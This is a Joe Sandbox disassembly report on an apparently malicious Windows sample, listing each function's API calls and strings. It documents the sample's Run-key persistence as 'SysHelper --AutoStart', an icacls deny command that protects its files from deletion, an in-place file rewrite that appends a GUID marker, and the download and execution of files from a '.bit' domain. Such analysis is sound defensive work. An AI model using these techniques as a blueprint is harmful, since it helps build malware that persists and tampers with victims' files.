Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 0b63eeba243ada94c58e0888de41d3ba6da39ab0df84b2d822963fdefdc0718c
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 0b63eeba243ada94c58e0888de41d3ba6da39ab0df84b2d822963fdefdc0718c
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 1067540f442ecef33be982db98bdf6b7d340b12b2ce71e82a52ffd6851ae9108
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 1067540f442ecef33be982db98bdf6b7d340b12b2ce71e82a52ffd6851ae9108
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

D, xrefs: 00412128
SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
" --AutoStart, xrefs: 004120C2

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 5345a2062ddf980315a84cdd7dabe86366607c9ea0a1a2a10dedbbe00fd05e16
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 5345a2062ddf980315a84cdd7dabe86366607c9ea0a1a2a10dedbbe00fd05e16
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

Shell32.dll, xrefs: 0041DCF0
SHGetFolderPathA, xrefs: 0041DCFB
$run, xrefs: 0041DEAB
.bit/, xrefs: 0041DF45
Microsoft Internet Explorer, xrefs: 0041DEF7

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 28d6845cb4da558ce18f0c45023d7f2e830e1a7208b0330efad748ecdf145710
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 28d6845cb4da558ce18f0c45023d7f2e830e1a7208b0330efad748ecdf145710
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

kernel32.dll, xrefs: 0041224E
Psapi.dll, xrefs: 0041228C
EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1
GetModuleBaseNameW, xrefs: 00412277, 004122AC

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 425d0a5fde586859440e492031ca0f4c8861ebbc6aae20daef024ceb3a169926
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

